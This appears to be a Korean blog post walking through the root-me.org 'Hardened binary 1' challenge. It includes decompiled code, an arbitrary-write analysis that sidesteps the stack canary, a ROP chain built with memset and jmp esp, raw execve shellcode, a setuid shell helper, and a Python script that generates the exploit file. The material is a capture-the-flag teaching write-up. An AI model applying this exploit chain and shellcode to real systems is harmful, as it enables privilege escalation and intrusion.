root-me.org Hardened binary 1 문제 (*쉘 코드를 통해 바로 쉘을 띄울 경우 Segment falut를 출력하며 바로 띄우지 않고 다른 방법을 통해 쉘을 띄워야 공격이 성공한다)
파일을 IDA를 통해 열고 hexray를 실행
main
int __cdecl main(signed int a1, int a2) { int v2; // ecx@2 int result; // eax@9 int second_fgets; // [sp+2Ch] [bp-1024h]@5 int first_fgets; // [sp+30h] [bp-1020h]@5 FILE *fd; // [sp+34h] [bp-101Ch]@3 int buffer_4000; // [sp+38h] [bp-1018h]@3 int buffer_20; // [sp+1038h] [bp-18h]@5 int v9; // [sp+104Ch] [bp-4h]@1 v9 = *MK_FP(__GS__, 20); if ( a1 > 1 ) { memset(&buffer_4000, 0, 0x1000u); fd = fopen(*(const char **)(a2 + 4), "r"); if ( fd ) { while ( fgets(( char *)&buffer_20, 20, fd) ) { first_fgets = atoll((const char *)&buffer_20); fgets(( char *)&buffer_20, 20, fd); second_fgets = atoll((const char *)&buffer_20); if ( first_fgets && second_fgets ) insert(second_fgets, first_fgets, &buffer_4000); } } } else { printf("\t Usage:%s <file>\n", *(_DWORD *)a2); } result = 0; if ( *MK_FP(__GS__, 20) != v9 ) __stack_chk_fail(v2, *MK_FP(__GS__, 20) ^ v9); return result; } |
내부를 보면 argv를 통해 file을 열고 그 곳에서 fgets를 이용하여 데이터를 읽어 atoll 함수를 이용하여 숫자로 바꾼다.
이후 그렇게 바뀐 숫자를 매개변수로 이용하여 insert 함수를 실행한다.
insert
int __fastcall insert(int a1, int a2, int second_fgets, int first_fgets, int buffer_4000) { int v5; // ST1C_4@1 int result; // eax@1 v5 = *MK_FP(__GS__, 20); *(_DWORD *)(buffer_4000 + 4 * second_fgets) = first_fgets; result = *MK_FP(__GS__, 20) ^ v5; if ( *MK_FP(__GS__, 20) != v5 ) __stack_chk_fail(a1, first_fgets); return result; } |
insert 함수 내부에서는 두 번째로 받아들인 second_fgets 변수를 index로 하여 first_fgets 값을 대입한다.
이 문제에서는 Stack Protect가 걸려있으나 insert 내부에서 임의의 주소에 값을 대입할 수 있으므로 Canary를 침범하지 않고 공격이 가능하다.
또한 아래 그림과 같이 스택에는 실행 권한이 존재한다.
이를 통해 공격 시나리오를 생각 하자면
memset@plt를 이용하여 고정 영역에 jmp esp opcode를 복사하고 그 값을 ret에 넣고 그 뒤에 쉘 코드를 넣게 되면 eip는 jmp esp를 통해 바로 다음 stack을 가리키게 된다.
original : [buffer] [canary] [sfp] [ret]
attack : [buffer] [canary] [sfp] [memset] [pppr] [custom stack] [jmp esp] [1] [memset] [pppr] [custom stack] [jmp esp] [1] [custom stack] [shell code]
공격
memset plt를 확인
pop pop pop ret Gadeget 확인
bss 영역 확인
쉘 코드 작성 ( execve("/tmp/csj/test", 0, 0) )
\x31\xd2
\x6a\x0b
\x58
\x52
\x68\x65\x73\x74\x00 // push /tmp/csj/test
\x68\x6a\x2f\x2f\x74
\x68\x2f\x2f\x63\x73
\x68\x2f\x74\x6d\x70
\x89\xe3
\x52
\x53
\x89\xe1
\xcd\x80
\x6a\x0b
\x58
\x52
\x68\x65\x73\x74\x00 // push /tmp/csj/test
\x68\x6a\x2f\x2f\x74
\x68\x2f\x2f\x63\x73
\x68\x2f\x74\x6d\x70
\x89\xe3
\x52
\x53
\x89\xe1
\xcd\x80
test.c 작성
#include <stdio.h> #include <unistd.h> void main() { setregid(getegid(), getegid()); setreuid(geteuid(), geteuid()); execve( "/bin/sh", 0, 0); return ; } |
memset gadget들과 쉘 코드를 문제의 fgets로 불러오게 할 파일로 작성
#!/usr/bin/python #execve(/tmp/csj/test) shellcode = """ \x31\xd2\x6a\x0b \x58\x52\x68\x65 \x73\x74\x00\x68 \x6a\x2f\x2f\x74 \x68\x2f\x2f\x63 \x73\x68\x2f\x74 \x6d\x70\x89\xe3 \x52\x53\x89\xe1 \xcd\x80 """ count = 1033 jmpesp="0xfee4" memset = 0x80483f4 pppr = 0x8048736 bss = 0x0804a008 print "%-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d" % (memset, count, pppr, count+1, bss, count+2, 0xff, count+3, 0x01, count+4, memset, count+5, pppr, count+6, bss+1, count+7, 0xe4, count+8, 0x01, count+9, bss, count+10, 0x0b6ad231, count+11, 0x65685258, count+12, 0x68007473, count+13, 0x742f2f6a, count+14, 0x632f2f68, count+15, 0x742f6873, count+16, 0xe389706d, count+17, 0xe1895352, count+18, 0x80cd, count+19) |
해당 파이썬 코드를 실행하면 포맷에 맞게 파일이 생성
이렇게 생성된 파일을 매개변수로 해서 파일을 실행하면 공격이 성공한다.
'Security' 카테고리의 다른 글
[Pwnable] 2013 HDCON 5번 luckyzzang exploit (0) | 2014.02.18 |
---|---|
[Pwnable] Exploit Exercises (0) | 2013.08.09 |
[ Pwnable ] SIS/System 3 (0) | 2013.04.01 |
[ Pwnable ] SIS / System 2 (0) | 2013.04.01 |
[ Pwnable ] SIS / System 1 (0) | 2013.04.01 |